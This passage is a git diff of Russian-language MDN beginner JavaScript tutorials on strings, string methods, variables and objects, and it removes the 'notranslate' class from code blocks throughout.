'yellow'; + <pre class="brush: js">guesses.style.backgroundColor = 'yellow'; guesses.style.fontSize = '200%'; guesses.style.padding = '10px'; guesses.style.boxShadow = '3px 3px 6px black';</pre> diff --git a/files/ru/learn/javascript/first_steps/silly_story_generator/index.html b/files/ru/learn/javascript/first_steps/silly_story_generator/index.html index 042b6e844d..2cfbea95b2 100644 --- a/files/ru/learn/javascript/first_steps/silly_story_generator/index.html +++ b/files/ru/learn/javascript/first_steps/silly_story_generator/index.html @@ -125,7 +125,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Создатель_глу <ul> <li>Вам не нужно каким-либо образом редактировать HTML, кроме как применять JavaScript к вашему HTML.</li> <li>Если вы не уверены, правильно ли применяется JavaScript для вашего HTML-кода, попробуйте временно удалить все остальное из файла JavaScript, добавив в него простой кусочек JavaScript, который, как вы знаете, создаст очевидный эффект, а затем сохраните и обновите. Следующий, например, делает фон элемента {{htmlelement ("html")}} красного цвета - поэтому все окно браузера должно быть красным, если JavaScript применяется правильно: - <pre class="brush: js notranslate">document.querySelector('html').style.backgroundColor = 'red';</pre> + <pre class="brush: js">document.querySelector('html').style.backgroundColor = 'red';</pre> </li> <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round">Math.round()</a> - это встроенный метод JavaScript, который просто округляет результат вычисления до ближайшего целого числа.</li> </ul> diff --git a/files/ru/learn/javascript/first_steps/strings/index.html b/files/ru/learn/javascript/first_steps/strings/index.html index 9acead263a..b63ccbcc82 100644 --- a/files/ru/learn/javascript/first_steps/strings/index.html +++ b/files/ru/learn/javascript/first_steps/strings/index.html @@ -37,17 +37,17 @@ original_slug: Learn/JavaScript/Первые_шаги/Строки <ol> <li>Для начала введите следующие строки: - <pre class="brush: js notranslate">var string = 'The revolution will not be televised.'; + <pre class="brush: js">var string = 'The revolution will not be televised.'; string;</pre> </li> <li>Как и в случае с числами, мы объявляем переменную, инициализируя её строковым значением, а затем возвращаем значение. Единственное различие здесь в том, что при написании строки вам нужно окружить значение кавычками. </li> <li>Если вы не сделаете этого или пропустите одну из кавычек, вы получите сообщение об ошибке. Попробуйте ввести следующие строки: - <pre class="brush: js example-bad notranslate">var badString = This is a test; + <pre class="brush: js example-bad">var badString = This is a test; var badString = 'This is a test; var badString = This is a test';</pre> Эти строки не работают, потому что любая текстовая строка без кавычек считается именем переменной, именем свойства, зарезервированным словом или чем-то подобным. Если браузер не может найти его, возникает ошибка (например, «missing, before statement»). Если браузер может видеть, где начинается строка, но не может найти конец строки, как указано во 2-й строке, она жалуется на ошибку (с «unterminated string literal»). Если ваша программа выявляет такие ошибки, вернитесь назад и проверьте все свои строки, чтобы убедиться, что у вас нет пропущенных кавычек.</li> <li>Следующий код будет выполнен только в том случае, если ранее была объявлена переменная <code>string</code> — убедитесь сами: - <pre class="brush: js notranslate">var badString = string; + <pre class="brush: js">var badString = string; badString;</pre> В настоящее время строка <code>badString</code> имеет то же значение, что и строка <code>string</code>.</li> </ol> @@ -56,22 +56,22 @@ badString;</pre> <ol> <li>В JavaScript вы можете выбрать одинарные кавычки или двойные кавычки, чтобы обернуть ваши строки. Оба варианта будут работать нормально: - <pre class="brush: js notranslate">var sgl = 'Single quotes.'; + <pre class="brush: js">var sgl = 'Single quotes.'; var dbl = "Double quotes"; sgl; dbl;</pre> </li> <li>Существует очень мало различий между одиночными и двойными кавычками, и решение какие из них использовать в коде остаётся на ваше усмотрение. Однако вы должны выбрать один вариант и придерживаться его, иначе ваш код может выдать ошибку, особенно если вы используете разные кавычки в одной строке! Ниже приведён пример: - <pre class="brush: js example-bad notranslate">var badQuotes = 'What on earth?";</pre> + <pre class="brush: js example-bad">var badQuotes = 'What on earth?";</pre> </li> <li>Браузер будет считать, что строка не была закрыта, потому что в строке может появиться другой тип цитаты, который вы не используете, чтобы хранить ваши строки в переменных. Из примера можно понять, о чем идёт речь (в коде ошибок нет): - <pre class="brush: js notranslate">var sglDbl = 'Would you eat a "fish supper"?'; + <pre class="brush: js">var sglDbl = 'Would you eat a "fish supper"?'; var dblSgl = "I'm feeling blue."; sglDbl; dblSgl;</pre> </li> <li>Однако вы не можете включить один и тот же знак кавычки внутри строки, если он используется для их хранения. Ниже приведена ошибка, браузер ошибочно определяет место, где строка кончается: - <pre class="brush: js example-bad notranslate">var bigmouth = 'I've got no right to take my place...';</pre> + <pre class="brush: js example-bad">var bigmouth = 'I've got no right to take my place...';</pre> Что приводит нас к следующей теме.</li> </ol> @@ -79,7 +79,7 @@ dblSgl;</pre> <p>Чтобы исправить нашу предыдущую строку кода, нам нужно дать понять браузеру, что кавычка в середине строки не является меткой её конца. Экранирование символов означает, что мы делаем что-то с ними, чтобы убедиться, что они распознаются как текст, а не часть кода. В JavaScript мы делаем это, помещая обратную косую черту непосредственно перед символом. Введите эти строки:</p> -<pre class="brush: js notranslate">var bigmouth = 'I\'ve got no right to take my place...'; +<pre class="brush: js">var bigmouth = 'I\'ve got no right to take my place...'; bigmouth;</pre> <p>Так лучше. Таким же образом можно экранировать и другие символы, например <code>"\</code>. Кроме того существуют специальные коды. Для дополнительной информации см. <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#escape_notation">Escape notation</a>.</p> @@ -89,17 +89,17 @@ bigmouth;</pre> <ol> <li>Конкатенация — это новомодное программистское слово, которое означает «объединить». Объединение строк в JavaScript использует оператор плюс (+), тот же, который мы используем для сложения чисел, но в этом контексте он делает кое-что другое. Попробуем пример в нашей консоли.</li> <li> - <pre class="brush: js notranslate">var one = 'Hello, '; + <pre class="brush: js">var one = 'Hello, '; var two = 'how are you?'; var joined = one + two; joined;</pre> Результат этой программы - это переменная <code>joined</code>, содержащая значение "Hello, how are you?".</li> <li>В последнем случае мы просто объединим две строки вместе, но на самом деле, вы можете объединить столько строк, сколько хотите, до тех пор, пока вы ставите <code>+</code> между ними. Попробуйте это: - <pre class="brush: js notranslate">var multiple = one + one + one + one + two; + <pre class="brush: js">var multiple = one + one + one + one + two; multiple;</pre> </li> <li>Вы также можете использовать сочетание переменных и фактических строк. Попробуйте это: - <pre class="brush: js notranslate">var response = one + 'I am fine — ' + two; + <pre class="brush: js">var response = one + 'I am fine — ' + two; response;</pre> </li> </ol> @@ -112,9 +112,9 @@ response;</pre> <p>Давайте посмотрим на конкатенацию строк в действии — вот пример из предыдущего курса:</p> -<pre class="brush: html notranslate"><button>Press me</button></pre> +<pre class="brush: html"><button>Press me</button></pre> -<pre class="brush: js notranslate">var button = document.querySelector('button'); +<pre class="brush: js">var button = document.querySelector('button'); button.onclick = function() { var name = prompt('What is your name?'); @@ -129,22 +129,22 @@ button.onclick = function() { <ol> <li>Итак, что происходит, когда мы пытаемся добавить (или конкатенировать) строку и число? Попробуем это в нашей консоли: - <pre class="brush: js notranslate">'Front ' + 242; + <pre class="brush: js">'Front ' + 242; </pre> Вы можете ожидать, что это вызовет ошибку, но все работает отлично. Попытка представить строку как число на самом деле не имеет смысла, но число как строку — имеет, поэтому браузер довольно умно преобразует число в строку и объединяет две строки вместе.</li> <li>Вы даже можете сделать это с двумя числами, вы можете заставить число стать строкой, обернув её в кавычки. Попробуйте следующее (мы используем оператор <code>typeof</code> для того, чтобы установить является ли переменная числом или строкой): - <pre class="brush: js notranslate">var myDate = '19' + '67'; + <pre class="brush: js">var myDate = '19' + '67'; typeof myDate;</pre> </li> <li>Если у вас есть числовая переменная, которую вы хотите преобразовать в строчную без внесения каких-либо иных изменений или строковую переменную, которую вы хотите преобразовать в число, вы можете использовать следующие две конструкции: <ul> <li>Объект {{jsxref ("Number")}} преобразует всё переданное в него в число, если это возможно. Попробуйте следующее: - <pre class="brush: js notranslate">var myString = '123'; + <pre class="brush: js">var myString = '123'; var myNum = Number(myString); typeof myNum;</pre> </li> <li>С другой стороны, каждое число имеет метод, называемый <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toString">toString()</a></code>, который преобразует его в эквивалентную строку. Попробуй это: - <pre class="brush: js notranslate">var myNum = 123; + <pre class="brush: js">var myNum = 123; var myString = myNum.toString(); typeof myString;</pre> </li> diff --git a/files/ru/learn/javascript/first_steps/useful_string_methods/index.html b/files/ru/learn/javascript/first_steps/useful_string_methods/index.html index 722895282b..90450169e7 100644 --- a/files/ru/learn/javascript/first_steps/useful_string_methods/index.html +++ b/files/ru/learn/javascript/first_steps/useful_string_methods/index.html @@ -39,7 +39,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Useful_string_methods <p id="Useful_string_methods">Почти всё в JavaScript является объектами. Когда вы создаёте строку, например: </p> -<pre class="notranslate">let string = 'This is my string';</pre> +<pre>let string = 'This is my string';</pre> <p>ваша переменная становится строковым объектом, и, как результат, ей доступно множество свойств и методов. Можете убедиться в этом, перейдя на страницу {{jsxref ("String")}} и просмотрев на ней список свойств и методов!</p> @@ -51,7 +51,7 @@ original_slug: Learn/JavaScript/Первые_шаги/Useful_string_methods <p>Это легко — вы просто используете свойство {{jsxref ("String.prototype.length", "length")}}. Попробуйте ввести следующие строки:</p> -<pre class="notranslate">let browserType = 'mozilla'; +<pre>let browserType = 'mozilla'; browserType.length;</pre> <p>Результатом должно быть число 7, потому что слово «mozilla» состоит из 7 символов. Это свойство можно применить, например, если вы захотите найти длины серии имён, чтобы их можно было отображать по порядку длины или сообщить пользователю, что имя пользователя, которое он ввёл в поле формы, слишком длинное, если оно превышает определённую длину.</p> @@ -60,11 +60,11 @@ browserType.length;</pre> <p>Вы можете вернуть любой символ внутри строки, используя <strong>обозначение в квадратных скобках.</strong> Это означает, что вы добавляете квадратные скобки ([ ]) в конце вашего имени переменной. В квадратных скобках вы указываете номер символа, который хотите вернуть. Например, чтобы получить первую букву, нужно написать:</p> -<pre class="syntaxbox notranslate">browserType[0];</pre> +<pre class="syntaxbox">browserType[0];</pre> <p>Компьютеры считают от 0, а не 1! Чтобы получить последний символ <em>любой</em> строки, мы могли бы использовать следующую строку, объединив эту технику с свойством <code>length</code>:</p> -<pre class="syntaxbox notranslate"> browserType[browserType.length-1];</pre> +<pre class="syntaxbox"> browserType[browserType.length-1];</pre> <p>Длина слова «mozilla» равна 7, но, поскольку счёт начинается с 0, позиция последнего символа равна 6, поэтому нам нужна <code>length-1</code>. Такой способ можно использовать, чтобы найти первую букву ряда строк и упорядочить их по алфавиту.</p> @@ -72,17 +72,17 @@ browserType.length;</pre> <ol> <li>Иногда вам может понадобиться выяснить, присутствует ли меньшая строка внутри большей (обычно мы говорим, что внутри строки есть подстрока). Это можно сделать с помощью метода {{jsxref ("String.prototype.indexOf ()", "indexOf ()")}}, который принимает одну {{glossary ("parameter")}} - подстроку, которую вы хотите найти. Введите: - <pre class="notranslate">browserType.indexOf('zilla');</pre> + <pre>browserType.indexOf('zilla');</pre> Это даёт нам результат 2, потому что подстрока «zilla» начинается в позиции 2 ("m" — 0, "o" — 1, "z" — 2) внутри «mozilla». Такой код можно использовать для фильтрации строк. Например, если есть список веб-адресов и вы хотите распечатать только те, которые содержат «mozilla».</li> </ol> <ol start="2"> <li>Это можно сделать по-другому, что, возможно, ещё более эффективно. Введите следующее: - <pre class="notranslate">browserType.indexOf('vanilla');</pre> + <pre>browserType.indexOf('vanilla');</pre> Это должно дать вам результат -1. Такое значение возвращается, когда подстрока, в данном случае «vanilla», не найдена в основной строке.<br> <br> Вы можете использовать это, чтобы найти все экземпляры строк, которые не содержат подстроку «mozilla» (для обратного эффекта, используйте оператор отрицания): - <pre class="notranslate">if(browserType.indexOf('mozilla') === -1) { + <pre>if(browserType.indexOf('mozilla') === -1) { // сделать что-то, если 'mozilla' // не является частью этой строки } @@ -93,10 +93,10 @@ if(browserType.indexOf('mozilla') !== -1) { }</pre> </li> <li>Когда вы знаете, где подстрока начинается внутри строки, и вы знаете, на каком символе вы хотите её завершить, можно использовать {{jsxref ("String.prototype.slice ()", "slice ()")}} для извлечения. Попробуйте следующее: - <pre class="notranslate">browserType.slice(0,3);</pre> + <pre>browserType.slice(0,3);</pre> Это возвращает «moz». Первым параметром является позиция символа, с которого начинается извлечение, а второй параметр — позиция последнего символа, перед которым нужно отсечь строку<em>.</em> Таким образом, срез происходит с первой позиции, вплоть до последней позиции, но не включая её <em>(</em>помним, что <em>счёт идёт с 0, а не с 1)</em>. Также можно сказать, что второй параметр равен длине возвращаемой строки.</li> <li>Кроме того, если вы знаете, что хотите извлечь все остальные символы в строке после определённого символа, вам не нужно включать второй параметр. Достаточно включить только положение символа, с которого вы хотите начать извлечение оставшихся символов в строке. Введите: - <pre class="notranslate">browserType.slice(2);</pre> + <pre>browserType.slice(2);</pre> Этот код возвращает «zilla» — это потому, что позиция символа 2 — это буква z, и поскольку вы не указали второй параметр, возвращаемая подстрока состояла из всех остальных символов в строке.</li> </ol> @@ -110,7 +110,7 @@ if(browserType.indexOf('mozilla') !== -1) { <p>Попробуем ввести следующие строки, чтобы узнать, что происходит:</p> -<pre class="notranslate">var radData = 'My NaMe Is MuD'; +<pre>var radData = 'My NaMe Is MuD'; radData.toLowerCase(); radData.toUpperCase();</pre> @@ -120,7 +120,7 @@ radData.toUpperCase();</pre> <p>Он принимает два параметра — строку, которую вы хотите заменить, и строку, которую вы хотите вставить вместо заменяемой. Попробуйте этот пример:</p> -<pre class="notranslate">browserType.replace('moz','van');</pre> +<pre>browserType.replace('moz','van');</pre> <p>Обратите внимание, что для фактического получения обновлённого значения, отражённого в переменной browserType в реальной программе, вам нужно будет установить значение переменной в результате операции; он не просто обновляет значение подстроки автоматически. Таким образом, вы должны были бы написать это: <code>browserType = browserType.replace('moz','van');</code></p> @@ -143,7 +143,7 @@ radData.toUpperCase();</pre> <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><h2>Результат</h2> +<pre class="brush: html line-numbers language-html"><code class="language-html"><h2>Результат</h2> <div class="output" style="min-height: 125px;"> @@ -183,7 +183,7 @@ for (var i = 0; i < greetings.length; i++) { <input id="solution" type="button" value="Показать решение"> </div></code></pre> -<pre class="brush: css line-numbers language-css notranslate"><code class="language-css">html { +<pre class="brush: css line-numbers language-css"><code class="language-css">html { font-family: sans-serif; } @@ -203,7 +203,7 @@ body { background: #f5f9fa; }</code></pre> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">var textarea = document.getElementById('code'); +<pre class="brush: js line-numbers language-js"><code class="language-js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var code = textarea.value; @@ -301,7 +301,7 @@ textarea.onkeyup = function(){ <div class="hidden"> <h6 id="Playable_code_2">Playable code 2</h6> -<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><h2>Результат</h2> +<pre class="brush: html line-numbers language-html"><code class="language-html"><h2>Результат</h2> <div class="output" style="min-height: 125px;"> @@ -334,7 +334,7 @@ for(var i = 0; i < cities.length; i++) { <input id="solution" type="button" value="Показать решение"> </div></code></pre> -<pre class="brush: css line-numbers language-css notranslate"><code class="language-css">html { +<pre class="brush: css line-numbers language-css"><code class="language-css">html { font-family: sans-serif; } @@ -354,7 +354,7 @@ body { background: #f5f9fa; }</code></pre> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">var textarea = document.getElementById('code'); +<pre class="brush: js line-numbers language-js"><code class="language-js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var code = textarea.value; @@ -438,11 +438,11 @@ textarea.onkeyup = function(){ <p>В этом последнем упражнении массив содержит кучу строк, содержащих информацию о железнодорожных станциях на севере Англии. Строки представляют собой элементы данных, которые содержат трёхбуквенный код станции, за которым следуют некоторые машиночитаемые данные, за которыми следует точка с запятой, а затем название станции, пригодное для чтения человеком. Например:</p> -<pre class="notranslate">MAN675847583748sjt567654;Manchester Piccadilly</pre> +<pre>MAN675847583748sjt567654;Manchester Piccadilly</pre> <p>Мы хотим извлечь код станции и имя и поместить их в строку со следующей структурой:</p> -<pre class="notranslate">MAN: Manchester Piccadilly</pre> +<pre>MAN: Manchester Piccadilly</pre> <p>Мы бы рекомендовали реализовать это следующим образом:</p> @@ -457,7 +457,7 @@ textarea.onkeyup = function(){ <div class="hidden"> <h6 id="Playable_code_3">Playable code 3</h6> -<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><h2>Результат</h2> +<pre class="brush: html line-numbers language-html"><code class="language-html"><h2>Результат</h2> <div class="output" style="min-height: 125px;"> @@ -495,7 +495,7 @@ for (var i = 0; i < stations.length; i++) { <input id="solution" type="button" value="Показать решение"> </div></code></pre> -<pre class="brush: css line-numbers language-css notranslate"><code class="language-css">html { +<pre class="brush: css line-numbers language-css"><code class="language-css">html { font-family: sans-serif; } @@ -515,7 +515,7 @@ body { background: #f5f9fa; }</code></pre> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js">var textarea = document.getElementById('code'); +<pre class="brush: js line-numbers language-js"><code class="language-js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var code = textarea.value; diff --git a/files/ru/learn/javascript/first_steps/variables/index.html b/files/ru/learn/javascript/first_steps/variables/index.html index ed8b3966f2..080957c575 100644 --- a/files/ru/learn/javascript/first_steps/variables/index.html +++ b/files/ru/learn/javascript/first_steps/variables/index.html @@ -33,9 +33,9 @@ original_slug: Learn/JavaScript/Первые_шаги/Variables <p>Переменные — это контейнер для таких значений, как числа, используемые в сложении, или строка, которую мы могли бы использовать как часть предложения. Но одна из особенностей переменных — их значение может меняться. Давайте взглянем на простой пример:</p> -<pre class="brush: html notranslate"><button>Нажми на меня</button></pre> +<pre class="brush: html"><button>Нажми на меня</button></pre> -<pre class="brush: js notranslate">const button = document.querySelector('button'); +<pre class="brush: js">const button = document.querySelector('button'); button.onclick = function() { let name = prompt('Как вас зовут?'); @@ -48,7 +48,7 @@ button.onclick = function() { <p>Чтобы лучше понять действие переменной здесь, давайте подумаем о том, как мы будем писать этот пример без использования переменной. Это будет выглядеть примерно так:</p> -<pre class="example-bad notranslate">var name = prompt('Как вас зовут?'); +<pre class="example-bad">var name = prompt('Как вас зовут?'); if (name === 'Адам') { alert('Привет, Адам, рады тебя видеть!'); @@ -78,7 +78,7 @@ if (name === 'Адам') { <p>Чтобы использовать переменную, вы сначала должны её создать, или, если быть точнее, объявить переменную. Чтобы сделать это, мы вводим ключевое слово var, за которым следует имя, которое вы хотите дать своей переменной:</p> -<pre class="brush: js notranslate">var myName; +<pre class="brush: js">var myName; var myAge;</pre> <p>Здесь мы создаём две переменные myName и myAge. Попробуйте ввести эти строки сейчас в консоли вашего веб-браузера или в консоли ниже (можно открыть эту консоль в отдельной вкладке или в новом окне). После этого попробуйте создать переменную (или две) с вашими именами.</p> @@ -86,7 +86,7 @@ var myAge;</pre> <div class="hidden"> <h6 id="Hidden_code">Hidden code</h6> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -201,12 +201,12 @@ var myAge;</pre> <p>Теперь проверим, существуют ли эти значения в среде выполнения. Для этого введём только имя переменной.</p> -<pre class="brush: js notranslate">myName; +<pre class="brush: js">myName; myAge;</pre> <p>В настоящее время они не содержат значения, это пустые контейнеры. В этом случае, когда вы вводите имена переменных, вы должны получить значение <code>undefined</code> . Если они не существуют, вы получите сообщение об ошибке - попробуйте сейчас ввести в консоли имя переменной ниже:</p> -<pre class="brush: js notranslate">scoobyDoo;</pre> +<pre class="brush: js">scoobyDoo;</pre> <div class="note"> <p><strong>Примечание</strong>: Не путайте переменную, которая существует, но не имеет значения, с переменной, которая вообще не существует - это разные вещи.</p> @@ -216,17 +216,17 @@ myAge;</pre> <p>Как только переменная объявлена, ей можно присвоить значение. Для этого пишется имя переменной, затем следует знак равенства (<code>=</code>), а за ним значение, которое вы хотите присвоить. Например:</p> -<pre class="brush: js notranslate">myName = 'Chris'; +<pre class="brush: js">myName = 'Chris'; myAge = 37;</pre> <p>Попробуйте вернуться в консоль и ввести эти строки. Вы должны увидеть значение, которое вы назначили переменной, возвращаемой в консоли. Чтобы посмотреть значения переменных, нужно набрать их имя в консоли:</p> -<pre class="brush: js notranslate">myName; +<pre class="brush: js">myName; myAge;</pre> <p>Вы можете объявить переменную и задать ей значение одновременно:</p> -<pre class="brush: js notranslate">var myName = 'Chris';</pre> +<pre class="brush: js">var myName = 'Chris';</pre> <p>Скорее всего, так вы будете писать большую часть времени, так как запись и выполнения кода с одно строки происходит быстрее, чем выполнение двух действий на двух отдельных строках.</p> @@ -238,7 +238,7 @@ myAge;</pre> <p>Когда переменной присваивается значение, вы можете изменить (обновить) это значение, просто указав другое значение. Попробуйте ввести следующие строки в консоль:</p> -<pre class="brush: js notranslate">myName = 'Bob'; +<pre class="brush: js">myName = 'Bob'; myAge = 40;</pre> <h3 id="Правила_именования_переменных">Правила именования переменных</h3> @@ -261,7 +261,7 @@ myAge = 40;</pre> <p>Примеры хороших имён переменных:</p> -<pre class="example-good notranslate">age +<pre class="example-good">age myAge init initialColor @@ -272,7 +272,7 @@ audio2 <p>Примеры плохих имён переменных:</p> -<pre class="example-bad notranslate">1 +<pre class="example-bad">1 a _12 myage @@ -284,7 +284,7 @@ thisisareallylongstupidvariablenameman</pre> <p>Примеры имён переменных, которые вызовут ошибки:</p> -<pre class="example-invalid notranslate">var +<pre class="example-invalid">var Document </pre> @@ -298,23 +298,23 @@ Document <p>Вы можете хранить числа в переменных (целые числа, такие как 30, или десятичные числа, такие как 2.456, также называемые числами с плавающей точкой или с плавающей запятой). Вам не нужно объявлять типы переменных в JavaScript, в отличие от некоторых других языков программирования Если давать переменной значение числа,кавычки не используются:</p> -<pre class="brush: js notranslate">var myAge = 17;</pre> +<pre class="brush: js">var myAge = 17;</pre> <h3 id="Строки_Strings">Строки ('Strings')</h3> <p>Строки - это фрагменты текста. Когда вы даёте переменной значение строки, вам нужно обернуть её в одиночные или двойные кавычки, в противном случае JavaScript попытается проиндексировать её как другое имя переменной.</p> -<pre class="brush: js notranslate">var dolphinGoodbye = 'So long and thanks for all the fish';</pre> +<pre class="brush: js">var dolphinGoodbye = 'So long and thanks for all the fish';</pre> <h3 id="Логические_Booleans">Логические (Booleans)</h3> <p>Booleans - истинные / ложные значения - они могут иметь два значения: true или false. Они обычно используются для проверки состояния, после чего код запускается соответствующим образом. Вот простой пример:</p> -<pre class="brush: js notranslate">var iAmAlive = true;</pre> +<pre class="brush: js">var iAmAlive = true;</pre> <p>В действительности вы чаще будете использовать этот тип переменных так:</p> -<pre class="brush: js notranslate">var test = 6 < 3; +<pre class="brush: js">var test = 6 < 3; </pre> <p>Здесь используется оператор «меньше» (<), чтобы проверить, является ли 6 меньше 3. В данном примере, он вернёт false, потому что 6 не меньше 3! В дальнейшем вы узнаете больше о таких операторах.</p> @@ -323,12 +323,12 @@ Document <p>Массив - это один объект, который содержит несколько значений, заключённых в квадратные скобки и разделённых запятыми. Попробуйте ввести следующие строки в консоль:</p> -<pre class="brush: js notranslate">var myNameArray = ['Chris', 'Bob', 'Jim']; +<pre class="brush: js">var myNameArray = ['Chris', 'Bob', 'Jim']; var myNumberArray = [10,15,40];</pre> <p>Как только эти массивы определены, можно получить доступ к каждому значению по их местоположению в массиве. Наберите следующие строки:</p> -<pre class="brush: js notranslate">myNameArray[0]; // should return 'Chris' +<pre class="brush: js">myNameArray[0]; // should return 'Chris' myNumberArray[2]; // should return 40</pre> <p>Квадратные скобки указывают значение индекса, соответствующее позиции возвращаемого значения. Возможно, вы заметили, что массивы в JavaScript индексируются с нулевой отметкой: первый элемент имеет индекс 0.</p> @@ -341,11 +341,11 @@ myNumberArray[2]; // should return 40</pre> <p>Попробуйте ввести следующую строку в консоль:</p> -<pre class="brush: js notranslate">var dog = { name : 'Spot', breed : 'Dalmatian' };</pre> +<pre class="brush: js">var dog = { name : 'Spot', breed : 'Dalmatian' };</pre> <p>Чтобы получить информацию, хранящуюся в объекте, вы можете использовать следующий синтаксис:</p> -<pre class="brush: js notranslate">dog.name</pre> +<pre class="brush: js">dog.name</pre> <p>Мы больше не будем рассматривать объекты в данном курсе - вы можете больше узнать о них в будущем модуле.</p> @@ -355,11 +355,11 @@ myNumberArray[2]; // should return 40</pre> <p>Например, если вы объявите переменную и присвоите ей значение, заключённое в кавычки, браузер будет обрабатывать переменную как строку:</p> -<pre class="brush: js notranslate">var myString = 'Привет';</pre> +<pre class="brush: js">var myString = 'Привет';</pre> <p>Он всё равно будет строкой, даже если он содержит числа, поэтому будьте осторожны:</p> -<pre class="brush: js notranslate">var myNumber = '500'; // упс, это все ещё строка (string) +<pre class="brush: js">var myNumber = '500'; // упс, это все ещё строка (string) typeof(myNumber); myNumber = 500; // так-то лучше, теперь это число (number) typeof(myNumber);</pre> diff --git a/files/ru/learn/javascript/objects/basics/index.html b/files/ru/learn/javascript/objects/basics/index.html index 0c8b3f6a5e..453f1ca169 100644 --- a/files/ru/learn/javascript/objects/basics/index.html +++ b/files/ru/learn/javascript/objects/basics/index.html @@ -34,15 +34,15 @@ original_slug: Learn/JavaScript/Объекты/Основы <p>Как и во многих случаях в JavaScript, создание объекта часто начинается с определения и инициализации переменной. Попробуйте ввести следующий код JavaScript в ваш файл, а затем сохраните файл и обновите страницу браузера:</p> -<pre class="brush: js notranslate">const person = {};</pre> +<pre class="brush: js">const person = {};</pre> <p>Если вы введёте <code>person</code> в текстовое JS консоль и нажмёте клавишу Enter, должен получиться следующий результат:</p> -<pre class="brush: js notranslate"><code class="language-js">Object</code><code> </code>{ }</pre> +<pre class="brush: js"><code class="language-js">Object</code><code> </code>{ }</pre> <p>Поздравляем, вы только что создали ваш первый объект. Но это пустой объект, поэтому мы не можем с ним ничего сделать. Давайте обновим наш объект, чтобы он выглядел так:</p> -<pre class="brush: js notranslate">const person = { +<pre class="brush: js">const person = { name: ['Bob', 'Smith'], age: 32, gender: 'male', @@ -58,7 +58,7 @@ original_slug: Learn/JavaScript/Объекты/Основы <p>После сохранения и обновления, попробуйте ввести что-нибудь следующее в консоль JavaScript браузера:</p> -<pre class="brush: js notranslate"><code class="language-js">person<span class="punctuation token">.</span>name</code> +<pre class="brush: js"><code class="language-js">person<span class="punctuation token">.</span>name</code> person.name[0] person.age person.interests[1] @@ -73,7 +73,7 @@ person.greeting()</pre> <p>Итак что здесь происходит? Объект состоит из нескольких элементов, каждый из которых имеет своё название (пример <code>name</code> и <code>age</code> выше), и значение (пример <code>['Bob', 'Smith']</code> и <code>32</code>). Каждая пара название/значение должны быть разделены запятой, а название и значение в каждом случае разделяются двоеточием. Синтаксис всегда следует этому образцу:</p> -<pre class="brush: js notranslate">const objectName = { +<pre class="brush: js">const objectName = { member1Name: member1Value, member2Name: member2Value, member3Name: member3Value @@ -89,7 +89,7 @@ person.greeting()</pre> <p>Выше вы получили доступ к свойствам и методам используя <strong>точечную запись (dot notation). </strong>Имя объекта (person) действует как <strong>пространство имён (namespace) </strong>— оно должно быть введено первым, для того чтобы получить доступ ко всему что заключено (<strong>encapsulated)</strong> внутри объекта. Далее вы пишете точку, затем элемент, к которому хотите получить доступ — это может быть имя простого свойства, элемент массива, или вызов одного из методов объекта, например:</p> -<pre class="brush: js notranslate">person.age +<pre class="brush: js">person.age person.interests[1] person.bio()</pre> @@ -97,28 +97,28 @@ person.bio()</pre> <p>Можно даже сделать значением элемента объекта другой объект. Например, попробуйте изменить значение свойства name с такого</p> -<pre class="brush: js notranslate">name: ['Bob', 'Smith'],</pre> +<pre class="brush: js">name: ['Bob', 'Smith'],</pre> <p>на такое</p> -<pre class="brush: js notranslate">name : { +<pre class="brush: js">name : { first: 'Bob', last: 'Smith' },</pre> <p>Здесь мы фактически создаём <strong>внутреннее пространство имён (sub-namespace). </strong>Это звучит сложно, но на самом деле это не так — для доступа к этим элементам вам нужно сделать один дополнительный шаг с ещё одной точкой. Попробуйте в консоли браузера следующее: </p> -<pre class="brush: js notranslate">person.name.first +<pre class="brush: js">person.name.first person.name.last</pre> <p><strong>Важно</strong>: На этом этапе вам также нужно будет пересмотреть код метода и изменить все экземпляры с</p> -<pre class="brush: js notranslate">name[0] +<pre class="brush: js">name[0] name[1]</pre> <p>на</p> -<pre class="brush: js notranslate">name.first +<pre class="brush: js">name.first name.last</pre> <p>Иначе ваши методы больше не будут работать.</p> @@ -127,12 +127,12 @@ name.last</pre> <p>Существует другой способ получить свойства объекта — использовать скобочную запись (bracket notation). Вместо написания этого кода:</p> -<pre class="brush: js notranslate">person.age +<pre class="brush: js">person.age person.name.first</pre> <p>Вы можете использовать следующий</p> -<pre class="brush: js notranslate">person['age'] +<pre class="brush: js">person['age'] person['name']['first']</pre> <p>Это выглядит очень похоже на то, как вы получаете элементы массива, и в принципе это так и есть — вместо использования числовых индексов для выбора элемента, вы ассоциируете имя свойства для каждого значения. Ничего удивительного, что эти объекты иногда называют ассоциативными массивами — они сопоставляют строки со значениями так же, как массивы сопоставляют числовые индексы со значениями.</p> @@ -141,42 +141,42 @@ person['name']['first']</pre> <p>До сих пор мы рассматривали только возврат (или получение) элементов объекта — вы так же можете установить (обновить) значение элемента объекта просто объявив элемент, который вы хотите установить (используя точечную или скобочную запись), например:</p> -<pre class="brush: js notranslate">person.age = 45; +<pre class="brush: js">person.age = 45; person['name']['last'] = 'Cratchit';</pre> <p>Попробуйте ввести эти строки, а затем снова верните элементы, чтобы увидеть, как они изменились</p> -<pre class="brush: js notranslate">person.age +<pre class="brush: js">person.age person['name']['last']</pre> <p>Вы можете не просто обновлять и устанавливать значения свойств и методов объекта, а так же устанавливать совершенно новые элементы. Попробуйте их в консоли JS:</p> -<pre class="brush: js notranslate">person['eyes'] = 'hazel'; +<pre class="brush: js">person['eyes'] = 'hazel'; person.farewell = function() { alert("Bye everybody!"); }</pre> <p>Теперь 